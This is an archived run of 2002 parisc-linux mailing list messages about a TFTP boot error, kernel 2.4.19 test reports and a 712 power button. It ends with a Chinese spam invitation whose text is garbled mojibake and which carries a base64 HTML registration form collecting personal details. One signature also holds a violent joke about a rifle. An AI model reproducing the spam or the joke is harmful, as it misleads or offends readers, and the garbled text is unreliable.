List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15766

Can you write your message in English?


Mazia-Assia KAIDI wrote:

>Bonjour,
>je suis stagiaire au centre europeen d'integration de HP Villefontaine. mon
>travail consiste en la mise en place d'un outil d'integration portable sous
>linux Redhat, mon souci est de booter sur un serveur HP-UX, mon portable se
>comporte comme un serveur bootp, dhcp et tftp. cependant j'ai un souci au
>niveau du protocole tftp, le transfert de fichiers ne se fait pas: le
>transfert se fait paquet par paquet et au bout d'un moment il y'a un message
>d'erreur indefini: opcode 0.
>dans le cas ou vous auriez plus d'informations, je vous prie de bien vouloir
>me les communiquer.
>Merci d'avance pour votre aide.
>
>
>Mazia-Assia KAIDI
>Stagiaire Portable integration tool
>HP EIC - EMEA
>Telecom Engineering Departement
>Tel : + 33 4 74 99 42 94
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>  
>





From - Thu Nov 08 21:24:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Demande de renseignements
Date: Thu, 08 Aug 2002 02:33:04 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20020808083304.DD21C37D00@carmen.fc.hp.com>
References: <CEECILGPPEGMBBILGEHLAEFMCAAA.kaidi@letters.grenoble.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621605 12164 80.91.229.3 (22 Nov 2014 02:00:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Mazia-Assia KAIDI" <kaidi@letters.grenoble.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  8 02:33:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C1F7482A
	for <parisc-linux@parisc-linux.org>; Thu,  8 Aug 2002 02:33:11 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel9.hp.com (Postfix) with ESMTP id ACAF6E00FF7
	for <parisc-linux@parisc-linux.org>; Thu,  8 Aug 2002 04:33:07 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 74D0E38075; Thu,  8 Aug 2002 02:33:07 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 6598744B0; Thu,  8 Aug 2002 02:33:07 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id DD21C37D00; Thu,  8 Aug 2002 02:33:04 -0600 (MDT)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Mazia-Assia KAIDI" <kaidi@letters.grenoble.hp.com> 
   of "Tue, 08 Oct 2002 10:14:32 +0200." <CEECILGPPEGMBBILGEHLAEFMCAAA.kaidi@letters.grenoble.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15767

"Mazia-Assia KAIDI" writes...

> Bonjour,
> je suis stagiaire au centre europeen d'integration de HP Villefontaine. mon
> travail consiste en la mise en place d'un outil d'integration portable sous
> linux Redhat, mon souci est de booter sur un serveur HP-UX, mon portable se

What type of hppa system?

> comporte comme un serveur bootp, dhcp et tftp. cependant j'ai un souci au
> niveau du protocole tftp, le transfert de fichiers ne se fait pas: le
> transfert se fait paquet par paquet et au bout d'un moment il y'a un message
> d'erreur indefini: opcode 0.

I haven't seen that before and searching the mailing list doesn't find 
anything either. Did it print any additional information that might be 
useful? If you're using serial console, just cut&paste the output and send 
it.

You might try checking the tftp log on the laptop to see if it's getting 
transferred ok.

Good luck,

-- 
Matt Taggart
taggart@fc.hp.com




From - Thu Nov 08 21:24:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux-2.4.19 released
Date: Thu, 8 Aug 2002 14:05:05 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <3D3815AF00001A61@ocpmta3.be.tiscali.com>
References: <1028424964.3483.6.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621605 12174 80.91.229.3 (22 Nov 2014 02:00:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:05 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	"HPPA List" <parisc-linux@parisc-linux.org>
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>,
	"Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  8 06:06:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1929482A
	for <parisc-linux@parisc-linux.org>; Thu,  8 Aug 2002 06:06:45 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 8 Aug 2002 14:05:05 +0200
In-Reply-To: <1028424964.3483.6.camel@irongate.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15768

Hi all,

Congratulation to all for great job.

I test successfully 2.4.19-pa2 on my b2000 (with sym2) and b180 (with sym1).

I also test (I well see some differences) 2.4.20-pre1 with success on my
b2k (also sym2).

[All 32-bits kernels]

Just still have some problem with pre1-ac1 because of mingo sched (may be
solved in 2.5 ?)

Thanks,
 joel


>-- Original Message --
>Subject: Re: [parisc-linux] Linux-2.4.19 released
>From: Alan Cox <alan@lxorguk.ukuu.org.uk>
>To: Grant Grundler <grundler@dsl2.external.hp.com>
>Cc: Matthew Wilcox <willy@debian.org>,
>	HPPA List <parisc-linux@parisc-linux.org>
>Date: 04 Aug 2002 02:36:04 +0100
>
>
>On Sun, 2002-08-04 at 00:48, Grant Grundler wrote:
>> I've not been doing much for 2.5 and I'd like to see the folks who are
>> beating on 2.5.x not get distract by this.
>> If someone (paul?) drops 2.4.19 in our CVS and tells me which files
>> have conflicts, I'd be happy to take a whack at it.
>
>The merge work I've done to feed on to Marcelo has had very close to
>zero conflicts so it shouldnt be too bad.
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:24:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] About the 2.4.19-pa0 kernel ...
Date: Thu, 8 Aug 2002 14:10:21 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20020808121021.GL17481@charite.de>
References: <OE52uJnOVHKgGcaJCkj0000c0fb@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621606 12177 80.91.229.3 (22 Nov 2014 02:00:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  8 06:10:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id EFFBD482A
	for <parisc-linux@parisc-linux.org>; Thu,  8 Aug 2002 06:10:23 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 4F6E815C009; Thu,  8 Aug 2002 14:10:22 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 18546633B4; Thu,  8 Aug 2002 14:10:22 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <OE52uJnOVHKgGcaJCkj0000c0fb@hotmail.com>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15769

On Tue, Aug 06, 2002 at 09:03:47AM +0200, kenneth westelinck wrote:

> Yesterday I've built the 2.4.19-pa0 kernel and it seems to work fine at
> first sight (I did a make oldconfig with the config from the 2.4.18-pa56).
> However, the powerbutton ceased working. It was working fine with the
> 2.4.18-pa56 kernel. Has anything changed near the code that handles this?
> Can someone else with a 712 confirm this behaviour?

The power button on a 712/80 works just fine with 2.4.19-pa2!

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
To sysadmin or not to sysadmin... that is the question, whether tis
nobler in the minde to suffer the slings and arrowes of outragious
fortune, or climb to the top of the building with a fucking high-power
rifle and scope. 



From - Thu Nov 08 21:24:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux-2.4.19 released
Date: Thu, 8 Aug 2002 13:17:15 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20020808131715.K24631@parcelfarce.linux.theplanet.co.uk>
References: <1028424964.3483.6.camel@irongate.swansea.linux.org.uk> <3D3815AF00001A61@ocpmta3.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621606 12181 80.91.229.3 (22 Nov 2014 02:00:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:06 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	Matthew Wilcox <willy@debian.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  8 06:17:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71413482B
	for <parisc-linux@parisc-linux.org>; Thu,  8 Aug 2002 06:17:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17cmE7-0007fk-00; Thu, 08 Aug 2002 13:17:15 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D3815AF00001A61@ocpmta3.be.tiscali.com>; from jsoe0708@tiscali.be on Thu, Aug 08, 2002 at 02:05:05PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15770

On Thu, Aug 08, 2002 at 02:05:05PM +0200, jsoe0708@tiscali.be wrote:
> Just still have some problem with pre1-ac1 because of mingo sched (may be
> solved in 2.5 ?)

yes, 2.5.26 has the O(1) scheduler and (i think) Richard & Randolph got
that working.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "LINUX" <LINUX@LINUX.LINUX>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LinuxWorld China 2002ֻ뺯ѣ
Date: Thu, 8 Aug 2002 20:35:28 +0800
Lines: 469
Approved: news@gmane.org
Message-ID: <20020808123539.1847B482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="= Multipart Boundary 0808022035"
X-Trace: ger.gmane.org 1416621606 12186 80.91.229.3 (22 Nov 2014 02:00:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:06 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  8 06:35:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Liming Zhu (unknown [61.177.17.0])
	by dsl2.external.hp.com (Postfix) with SMTP id 1847B482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Aug 2002 06:35:39 -0600 (MDT)
X-Priority: 3
X-Mailer: JiXing mailer V1.73 Design By JohnnieHuang
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15771

This is a multipart MIME message.

--= Multipart Boundary 0808022035
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: 7bit

    LinuxWorld China 2002ֻ뺯ѣ


    LinuxWorld Chinaչޣ޹˾죬õżҵȨȫ֧֡

LinuxWorld ChinaּڴٽϢ̡רҵʿҵûLinuxӦá񼰹ĽӦгľ޴ǱƶLinuxϵͳLinuxƽ̨ĸӦĿԼڹ񾭼øڵĹ㷺ʹãƽҵϢ衣

ƣLinuxWorld China 2002

ʱ/ص㣺200293գ   йƵ
200295գ Ϻ  ʹ󶼴󷹵

⣺ ʵҵLinuxӦ

ʽ ֻ+Ʒչʾ

ֻ᣺ Ϊݽ۴ᡢרҵ󲿷֣ۼ50ೡ漰ɹѵȸ档

Ʒչʾ չʾҵµӲƷֱû̡רҵȽЧͨ

ѯ绰(010)83152644-127

򿪸еıдǽдϢȷϺ볡ȯڴ룡 

    >>Ϣĸе 

--= Multipart Boundary 0808022035
Content-Type: application/octet-stream;
	name=".htm"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename=".htm"

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5MaW51eFdvcmxkIENoaW5hIDIwMDLR
0MzWu+HR+8fruq88L3RpdGxlPg0KPE1FVEEgSFRUUC1FUVVJVj1Db250ZW50
LVR5cGUgQ09OVEVOVD0idGV4dC9odG1sOyBjaGFyc2V0PWdiMjMxMiI+DQo8
U1RZTEUgVFlQRT0idGV4dC9jc3MiPg0KPCEtLQ0KDQpCT0RZew0KICAgIEZP
TlQtRkFNSUxZOiDLzszlOw0KICAgIEZPTlQtU0laRTogOXB0Ow0KICAgIENP
TE9SOiMwMDAwMDANCn0NCi5wdDkgeyBmb250LWZhbWlseTogIsvOzOUiOyBm
b250LXNpemU6IDlwdH0NCg0KUA0Kew0KICAgIEZPTlQtRkFNSUxZOiAiy87M
5SI7IEZPTlQtU0laRTogOXB0OyBDT0xPUjojMDAwMDAwDQp9DQpIOSxURCxT
RUxFQ1QNCnsNCiAgICBGT05ULUZBTUlMWTogIsvOzOUiOyBGT05ULVNJWkU6
IDlwdA0KfQ0KDQpBOmxpbmsgeyAgZm9udC1mYW1pbHk6ICLLzszlIjsgZm9u
dC1zaXplOiA5cHQ7IGNvbG9yOiAjMDg0MkIxOyB0ZXh0LWRlY29yYXRpb246
IG5vbmV9DQpBOnZpc2l0ZWQgeyAgZm9udC1mYW1pbHk6ICLLzszlIjsgZm9u
dC1zaXplOiA5cHQ7IGNvbG9yOiAjMDg0MkIxOyB0ZXh0LWRlY29yYXRpb246
IG5vbmU7IGZvbnQtY29sb3I9Ymx1ZX0NCkE6aG92ZXIgeyAgZm9udC1mYW1p
bHk6ICLLzszlIjsgZm9udC1zaXplOiA5UFQ7Y29sb3I6I0ZENEEwNDsgIHRl
eHQtZGVjb3JhdGlvbjogbm9uZX0NCg0KLS0+DQoNCjwvc3R5bGU+DQoNCjxT
Q1JJUFQgbGFuZ3VhZ2U9amF2YXNjcmlwdD4gIA0KDQpmdW5jdGlvbiBWZXJp
ZnlJbnB1dCgpICANCnsgIA0KIA0KICAgIHZhciBuZXdEYXRlT2JqID0gbmV3
IERhdGUoKSAgDQoNCiAgICBzdHJGaXJzdG5hbWUgPSBkb2N1bWVudC5mcm1V
c2VySW5mby5GaXJzdG5hbWUudmFsdWU7ICANCiAgICBpZiAoc3RyRmlyc3Ru
YW1lID09ICIiKSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE
+rXE0NXD+yEgIik7ICANCiAgICAgICAgZG9jdW1lbnQuZnJtVXNlckluZm8u
Rmlyc3RuYW1lLmZvY3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZhbHNlOyAg
DQogICAgfSAgDQoJDQoJDQogCWlmIChkb2N1bWVudC5mcm1Vc2VySW5mby50
aXRsZS5zZWxlY3RlZEluZGV4ID09IDApDQoJCXsNCgkJYWxlcnQoIsfr0aHU
8cT6tcTQ1LHwIik7DQoJCWRvY3VtZW50LmZybVVzZXJJbmZvLnRpdGxlLmZv
Y3VzKCk7DQoJCXJldHVybiBmYWxzZTsNCgkJfQ0KIA0KICAgICBzdHJqb2J0
aXRsZW5hbWUgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5qb2JfdGl0bGUudmFs
dWU7ICANCiAgICBpZiAoc3Ryam9idGl0bGVuYW1lID09ICIiKSAgDQogICAg
eyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXE0NDV/tawzvEhICIpOyAg
DQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmpvYl90aXRsZS5mb2N1
cygpOyAgDQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQ0K
CXN0cmNvbXBhbnkgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5jb21wYW55LnZh
bHVlOyAgDQogICAgaWYgKHN0cmNvbXBhbnkgPT0gIiIpICANCiAgICB7ICAN
CiAgICAgICAgYWxlcnQoIsfryuTI68T6tcS1pc67w/uzxiEgIik7ICANCiAg
ICAgICAgZG9jdW1lbnQuZnJtVXNlckluZm8uY29tcGFueS5mb2N1cygpOyAg
DQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQkNCglzdHJj
b21hZGQgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5jb21fYWRkLnZhbHVlOyAg
DQogICAgaWYgKHN0cmNvbWFkZCA9PSAiIikgIA0KICAgIHsgIA0KICAgICAg
ICBhbGVydCgix+vK5MjrxPq1xM2o0ba12Na3ISAiKTsgIA0KICAgICAgICBk
b2N1bWVudC5mcm1Vc2VySW5mby5jb21fYWRkLmZvY3VzKCk7ICANCiAgICAg
ICAgcmV0dXJuIGZhbHNlOyAgDQogICAgfSAgDQoJDQoJc3RycG9zdGNvZGUg
PSBkb2N1bWVudC5mcm1Vc2VySW5mby5wb3N0Y29kZS52YWx1ZTsgIA0KICAg
IGlmIChzdHJwb3N0Y29kZSA9PSAiIikgIA0KICAgIHsgIA0KICAgICAgICBh
bGVydCgix+vK5MjrxPq1xNPK1f6x4MLrISAiKTsgIA0KICAgICAgICBkb2N1
bWVudC5mcm1Vc2VySW5mby5wb3N0Y29kZS5mb2N1cygpOyAgDQogICAgICAg
IHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQkNCiAgCWlmIChkb2N1bWVu
dC5mcm1Vc2VySW5mby5wcm92aW5jZS5zZWxlY3RlZEluZGV4ID09IDApDQoJ
CXsNCgkJYWxlcnQoIsfr0aHU8cT6y/nU2rXEyqG33aOhIik7DQoJCWRvY3Vt
ZW50LmZybVVzZXJJbmZvLnByb3ZpbmNlLmZvY3VzKCk7DQoJCXJldHVybiBm
YWxzZTsNCgkJfQ0KDQoNCglzdHJ0ZWxlcGhvbmUgPSBkb2N1bWVudC5mcm1V
c2VySW5mby50ZWxlcGhvbmUudmFsdWU7ICANCiAgICBpZiAoc3RydGVsZXBo
b25lID09ICIiKSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE
+rXEtee7sLrFwuujoSAiKTsgIA0KICAgICAgICBkb2N1bWVudC5mcm1Vc2Vy
SW5mby50ZWxlcGhvbmUuZm9jdXMoKTsgIA0KICAgICAgICByZXR1cm4gZmFs
c2U7ICANCiAgICB9ICANCgkNCglzdHJmYXggPSBkb2N1bWVudC5mcm1Vc2Vy
SW5mby5mYXgudmFsdWU7ICANCiAgICBpZiAoc3RyZmF4ID09ICIiKSAgDQog
ICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXEtKvV5rrFwuujoSAi
KTsgIA0KICAgICAgICBkb2N1bWVudC5mcm1Vc2VySW5mby5mYXguZm9jdXMo
KTsgIA0KICAgICAgICByZXR1cm4gZmFsc2U7ICANCiAgICB9ICANCg0KCXN0
cmVtYWlsID0gZG9jdW1lbnQuZnJtVXNlckluZm8uZW1haWwudmFsdWU7ICAN
CiAgICBpZiAoc3RyZW1haWwgPT0gIiIpICANCiAgICB7ICANCiAgICAgICAg
YWxlcnQoIsfryuTI68T6tcRFLW1haWy12Na3o6EgIik7ICANCiAgICAgICAg
ZG9jdW1lbnQuZnJtVXNlckluZm8uZW1haWwuZm9jdXMoKTsgIA0KICAgICAg
ICByZXR1cm4gZmFsc2U7ICANCiAgICB9IAkNCg0KCXN0cmNvbV9tYW5hZ2Vy
ID0gZG9jdW1lbnQuZnJtVXNlckluZm8uY29tX21hbmFnZXIudmFsdWU7ICAN
CiAgICBpZiAoc3RyY29tX21hbmFnZXIgPT0gIiIpICANCiAgICB7ICANCiAg
ICAgICAgYWxlcnQoIsfryuTI68T6tcS5q8u+19y+rcDt0NXD+6OhICIpOyAg
DQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV9tYW5hZ2VyLmZv
Y3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZhbHNlOyAgDQogICAgfSAJDQoN
CglzdHJkZXBfbWFuYWdlciA9IGRvY3VtZW50LmZybVVzZXJJbmZvLmRlcF9t
YW5hZ2VyLnZhbHVlOyAgDQogICAgaWYgKHN0cmRlcF9tYW5hZ2VyID09ICIi
KSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXEsr/Dxbi6
1PDIy7XE0NXD+6OhICIpOyAgDQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJ
bmZvLmRlcF9tYW5hZ2VyLmZvY3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZh
bHNlOyAgDQogICAgfSANCglzdHJjb210eXBlMSA9IGRvY3VtZW50LmZybVVz
ZXJJbmZvLmNvbV90eXBlMS52YWx1ZTsNCgkgIA0KICAgIGlmIChkb2N1bWVu
dC5mcm1Vc2VySW5mby5kd2xiWzBdLmNoZWNrZWQpICANCiAgICB7ICAgICAg
DQoJCWlmIChzdHJjb210eXBlMSA9PSAiIikgIA0KCQkgeyAgDQogICAgICAg
CSBhbGVydCgix+vRodTxuavLvsDgsfAhICIpOyAgDQogICAgICAgIGRvY3Vt
ZW50LmZybVVzZXJJbmZvLmNvbV90eXBlMS5mb2N1cygpOyAgDQogICAgICAg
IHJldHVybiBmYWxzZTsgIA0KICAgIH0NCiAgICB9ICAgDQoNCglzdHJjb210
eXBlMiA9IGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV90eXBlMi52YWx1ZTsN
CgkgIA0KICAgIGlmIChkb2N1bWVudC5mcm1Vc2VySW5mby5kd2xiWzFdLmNo
ZWNrZWQpICANCiAgICB7ICAgICAgDQoJCWlmIChzdHJjb210eXBlMiA9PSAi
IikgIA0KCQkgeyAgDQogICAgICAgCSBhbGVydCgix+vRodTxuavLvsDgsfAh
ICIpOyAgDQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV90eXBl
Mi5mb2N1cygpOyAgDQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0N
CiAgICB9ICAgDQogICAgcmV0dXJuIHRydWU7ICAgDQp9ICANCjwvU0NSSVBU
Pg0KDQo8L2hlYWQ+DQoNCjxib2R5IGJnY29sb3I9IiNGRkZGRkYiIHRleHQ9
